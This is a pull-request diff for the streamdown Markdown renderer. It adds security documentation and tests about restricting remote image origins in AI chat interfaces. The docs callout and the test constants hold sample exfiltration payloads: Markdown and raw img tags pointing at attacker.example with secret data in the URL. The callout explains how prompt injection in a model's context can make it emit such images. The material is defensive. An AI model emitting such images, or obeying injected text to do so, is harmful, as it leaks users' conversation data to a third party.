Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
5 changes: 5 additions & 0 deletions .changeset/quiet-images-guard.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
---
"streamdown": patch
---

docs(security): call out that remote images are allowed by default and document restricting image origins for AI chat apps
2 changes: 1 addition & 1 deletion apps/website/content/docs/configuration.mdx
Original file line number Diff line number Diff line change
Expand Up @@ -146,7 +146,7 @@ With `dir="auto"`:

- `rehype-raw` - HTML support
- `rehype-sanitize` - XSS protection and safe HTML rendering
- `rehype-harden` - Security hardening (allows all image and link prefixes, data images enabled)
- `rehype-harden` - Security hardening (permissive by default: allows all image and link prefixes, data images enabled; see [Security](/docs/security) to restrict image origins for AI chat apps)

**Default Remark Plugins:**

Expand Down
16 changes: 16 additions & 0 deletions apps/website/content/docs/security.mdx
Original file line number Diff line number Diff line change
Expand Up @@ -42,6 +42,10 @@ The default `rehype-sanitize` schema allows `http`, `https`, `irc`, `ircs`, `mai

This works well for trusted content but should be tightened for untrusted sources.

<Callout type="warning">
**Building an AI chat UI? Restrict image origins.** With the defaults, an image such as `![](https://attacker.example/p?d=...)` is requested by the browser as soon as the message renders, with no user action. If a model's context contains attacker-controlled text (a fetched web page, a tool result, a stored record), prompt injection can make it emit such an image with conversation data in the URL. Set `allowedImagePrefixes` to the origins you trust and `allowDataImages: false`, as shown in [Restricting Images](#restricting-images) and [Protecting Against Prompt Injection](#protecting-against-prompt-injection). Raw `<img>` tags are covered by the same `rehype-harden` setting, so you do not need to disable `rehype-raw` for this.
</Callout>

## Restricting Protocols

By default, all protocols are allowed. You can restrict which URL protocols are permitted:
Expand Down Expand Up @@ -156,10 +160,14 @@ Similarly, restrict which domains can serve images:
[
harden,
{
// Required whenever allowedImagePrefixes or allowedLinkPrefixes is not "*"
defaultOrigin: 'https://your-app.com',
allowedImagePrefixes: [
'https://your-cdn.com',
'https://trusted-images.com',
],
allowedLinkPrefixes: ['*'],
allowedProtocols: ['*'],
allowDataImages: false, // Disable base64 images
},
],
Expand All @@ -169,6 +177,12 @@ Similarly, restrict which domains can serve images:
</Streamdown>
```

Images whose URL does not start with one of the allowed prefixes are not rendered, so the browser never requests them. This applies to both Markdown images (`![](...)`) and raw `<img>` tags.

<Callout type="info">
`rehype-harden` throws if `allowedImagePrefixes` or `allowedLinkPrefixes` is set to anything other than `["*"]` without a `defaultOrigin`.
</Callout>

### Data Images

Base64-encoded images (`data:image/...`) can be disabled:
Expand Down Expand Up @@ -277,6 +291,8 @@ export default function Page() {

Without `rehype-raw`, HTML tags will be escaped and displayed as text.

Omitting `rehype-raw` does not restrict Markdown images (`![](...)`). To control where images can load from, configure `allowedImagePrefixes` on `rehype-harden` as described in [Restricting Images](#restricting-images).

## Relative URLs

Control how relative URLs are handled:
Expand Down
143 changes: 143 additions & 0 deletions packages/streamdown/__tests__/image-origin-hardening.test.tsx
Original file line number Diff line number Diff line change
@@ -0,0 +1,143 @@
import { render } from "@testing-library/react";
import { harden } from "rehype-harden";
import { describe, expect, it } from "vitest";
import { defaultRehypePlugins, Streamdown } from "../index";

// A prompt-injected model can emit an image whose URL carries conversation
// data. The browser requests it as soon as the message renders.
const exfilMarkdown = "![](https://attacker.example/p?d=secret)";

const imageSources = (container: HTMLElement) =>
Array.from(container.querySelectorAll("img")).map((img) =>
img.getAttribute("src")
);

describe("remote image origins (rehype-harden)", () => {
it("documents the default: images from any origin are rendered", () => {
const { container } = render(
<Streamdown mode="static">{exfilMarkdown}</Streamdown>
);

expect(imageSources(container)).toContain(
"https://attacker.example/p?d=secret"
);
});

it("documents the default: raw <img> HTML from any origin is rendered", () => {
const { container } = render(
<Streamdown mode="static">
{'<img src="https://attacker.example/p?d=secret" alt="x" />'}
</Streamdown>
);

expect(imageSources(container)).toContain(
"https://attacker.example/p?d=secret"
);
});

it("blocks untrusted image origins with the recommended AI-chat config", () => {
const { container } = render(
<Streamdown
mode="static"
rehypePlugins={[
defaultRehypePlugins.raw,
defaultRehypePlugins.sanitize,
[
harden,
{
allowedImagePrefixes: ["https://cdn.example.com/"],
defaultOrigin: "https://app.example.com",
allowedLinkPrefixes: ["*"],
allowedProtocols: ["*"],
allowDataImages: false,
},
],
]}
>
{exfilMarkdown}
</Streamdown>
);

expect(imageSources(container)).not.toContain(
"https://attacker.example/p?d=secret"
);
expect(container.innerHTML).not.toContain("attacker.example");
});

it("blocks raw <img> HTML from untrusted origins with the same config", () => {
const { container } = render(
<Streamdown
mode="static"
rehypePlugins={[
defaultRehypePlugins.raw,
defaultRehypePlugins.sanitize,
[
harden,
{
allowedImagePrefixes: ["https://cdn.example.com/"],
defaultOrigin: "https://app.example.com",
allowedLinkPrefixes: ["*"],
allowedProtocols: ["*"],
allowDataImages: false,
},
],
]}
>
{'<img src="https://attacker.example/p?d=secret" alt="x" />'}
</Streamdown>
);

expect(container.innerHTML).not.toContain("attacker.example");
});

it("still renders images from an allowed origin", () => {
const { container } = render(
<Streamdown
mode="static"
rehypePlugins={[
defaultRehypePlugins.raw,
defaultRehypePlugins.sanitize,
[
harden,
{
allowedImagePrefixes: ["https://cdn.example.com/"],
defaultOrigin: "https://app.example.com",
allowedLinkPrefixes: ["*"],
allowedProtocols: ["*"],
allowDataImages: false,
},
],
]}
>
{"![ok](https://cdn.example.com/a.png)"}
</Streamdown>
);

expect(imageSources(container)).toContain("https://cdn.example.com/a.png");
});

it("blocks data: images when allowDataImages is false", () => {
const { container } = render(
<Streamdown
mode="static"
rehypePlugins={[
defaultRehypePlugins.raw,
defaultRehypePlugins.sanitize,
[
harden,
{
allowedImagePrefixes: ["*"],
allowedLinkPrefixes: ["*"],
allowedProtocols: ["*"],
allowDataImages: false,
},
],
]}
>
{"![](data:image/png;base64,AAAA)"}
</Streamdown>
);

expect(container.innerHTML).not.toContain("data:image");
});
});
Loading